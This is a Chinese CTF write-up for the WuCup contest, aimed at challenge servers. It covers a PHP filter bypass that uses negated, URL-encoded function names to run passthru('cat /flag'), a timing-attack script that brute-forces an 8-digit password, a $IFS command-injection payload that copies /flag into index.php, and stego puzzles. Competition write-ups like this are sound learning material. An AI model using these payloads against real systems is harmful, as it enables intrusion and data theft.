WuCup吾杯CTF比赛-WriteUp

由 Polze Li 发布

Web

HelloHacker

害,这玩意搞了大半天,以为啥都过滤了,用了passthru,结果只能ls以下,最后没想到;和%没被过滤,试了取反结果成功了。能力还有待加强(

php代码审计,首先要post请求incompetent=HelloHacker绕过第一个if,然后WuCup参数要包含required_chars中的字母并且都排列在一起,然后第三个if是在prohibited.txt中的字符串不能在WuCup中出现,那么prohibited.txt中肯定有一个排列组合是没有的,由此根据可以写一个python脚本来排列组合并对比

WuCup吾杯CTF比赛-WriteUp

WuCup吾杯CTF比赛-WriteUp

python排列组合exp如下

import itertools

def read(file_path):
    with open(file_path, 'r', encoding='utf-8') as file:
        content = file.read().splitlines()
    # 去除字符串中的空格和换行符,并转换为集合
    cleaned_content = {''.join(s.split()) for s in content}
    return cleaned_content

def plzh(letters):
    # 给字母排列组合
    all_permutations = {''.join(p) for p in itertools.permutations(letters)}
    return all_permutations

def find(txt_content, all_permutations):
    # 找出文件中没有的全排列
    missing_permutations = all_permutations - txt_content
    return missing_permutations

def main():
    txt_file_path = '1.txt'
    letters = 'pevanxroz'

    txt_content = read(txt_file_path)
    all_permutations = plzh(letters)
    missing_permutations = find(txt_content, all_permutations)

    print(f"Total possible permutations: {len(all_permutations)}")
    print(f"Missing permutations in the txt file: {len(missing_permutations)}")
    if missing_permutations:
        print("Missing permutations:")
        for permutation in missing_permutations:
            print(permutation)
    else:
        print("The txt file contains all possible permutations.")

if __name__ == "__main__":
    main()

运行得出

WuCup吾杯CTF比赛-WriteUp

然后查看prohibited.txt发现waf了许多关键字,这时候我们用取反来绕过,这里使用passthrc来绕过

取反python exp如下

<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

则得出完整payload

incompetent=HelloHacker&WuCup=oxzverapn;(~%8F%9E%8C%8C%8B%97%8D%8A)(~%9C%9E%8B%DF%D0%99%93%9E%98);

Sign

看了一眼没思路(,看着kuku拿血,看passwd越看越不对劲

WuCup吾杯CTF比赛-WriteUp

看到这没思路,但是passwd除了ssh还有蚁剑!doge

然后蚁剑一键连接就好啦

TimeCage

属实也是打上没回显了,w36师傅激情秒题 )

代码审计,是利用时间控制,秒数等于0是,随机数恒等于114

WuCup吾杯CTF比赛-WriteUp

exp如下,考虑到服务器时间和实际时间会有偏差,则我们尝试前后几秒差情况,这里测试2秒误差

import time
import requests

url = "http://challenge.wucup.cn:22723/"  # 目标地址
payload = {"input": "114"}

# 持续尝试多秒范围
while True:
    current_time = time.localtime()  # 获取本地时间
    for offset in range(-2, 3):  # 尝试时间偏移 [-2秒, +2秒]
        simulated_second = (current_time.tm_sec + offset) % 60
        if simulated_second == 0:  # 模拟秒数为 0
            response = requests.get(url, params=payload)
            print(f"Trying with offset {offset}: {response.text}")
            if "The next challenge" in response.text:
                print("[SUCCESS] Found the key!")
                exit()
    time.sleep(0.1)  

WuCup吾杯CTF比赛-WriteUp

然后进入第二关要脚本爆破8位数数字密码

WuCup吾杯CTF比赛-WriteUp

exp如下

import time
import requests

# 设置目标 URL
url = "http://challenge.wucup.cn:22723/Trapping2147483647.php"  # 替换为实际目标 URL

# 初始化变量
password_length = 8  # 密码长度
password = ""  # 存储已破解的密码部分

# 逐位破解密码
for position in range(password_length):
    for digit in range(10):  # 尝试每一位的数字 (0-9)
        # 构造当前测试密码
        test_pass = password + str(digit)  # 当前密码已知部分加上尝试的数字
        test_pass = test_pass.ljust(password_length, "0")  # 补足长度为8

        # 记录开始时间
        start_time = time.time()

        # 发送 POST 请求
        response = requests.post(url, data={"pass": test_pass})

        # 记录结束时间
        elapsed_time = time.time() - start_time

        print(f"Testing: {test_pass}, Time: {elapsed_time:.2f}s, Response: {response.text.strip()}")

        # 判断当前位是否正确
        if elapsed_time > (position + 1):  # 每正确一个字符,延迟会逐渐增加
            password += str(digit)
            print(f"Found digit: {digit}, Current password: {password}")
            break

# 输出完整密码
print(f"Cracked password: {password}")

WuCup吾杯CTF比赛-WriteUp

第三关RCE漏洞

WuCup吾杯CTF比赛-WriteUp

payloadscat$IFS$9/flag|tee$IFS$9index.php无回显带出到index.php

访问index.php得到flag

WuCup吾杯CTF比赛-WriteUp

Misc

Sign

得到

57754375707B64663335376434372D333163622D343261382D616130632D3634333036333464646634617D

发现是Base16加密,解密即可得到flag

WuCup吾杯CTF比赛-WriteUp

原神启动!

绕死我了,一开始没发现藏在document中的key,还以为test.zip是爆破(,兜兜转转只有misc能拿分了。

下载得到一个png和一个zip(加密)

WuCup吾杯CTF比赛-WriteUp

分析png,可能是lsb隐写,用Stegsolve在Redplane2通道看到密码

WuCup吾杯CTF比赛-WriteUp

解压压缩包,doc文件用010editor发现是zip文件,修改后缀解压得一个文件夹

WuCup吾杯CTF比赛-WriteUp

在/word/media中发现一张图片,隐写,放到Stegsolve中在Gray bits下看的最清晰

WuCup吾杯CTF比赛-WriteUp

然后我们还可以在/word/document.xml中看到另一个密码

WuCup吾杯CTF比赛-WriteUp

整理得到WuCup{f848566c-3fb6-4bfd-805a-d9e102511784}

然后img.zip的密码是/word/media中照片隐写的密码

解压img.zip得到test.zip

img.zip解压后的test.zip的密码是document.xml中的密码

解压test.zip得到

WuCup吾杯CTF比赛-WriteUp

版权所有:lzz0403的技术博客
文章标题:WuCup吾杯CTF比赛-WriteUp
除非注明,文章均为 lzz0403的技术博客 原创,请勿用于任何商业用途,禁止转载

0条评论

发表评论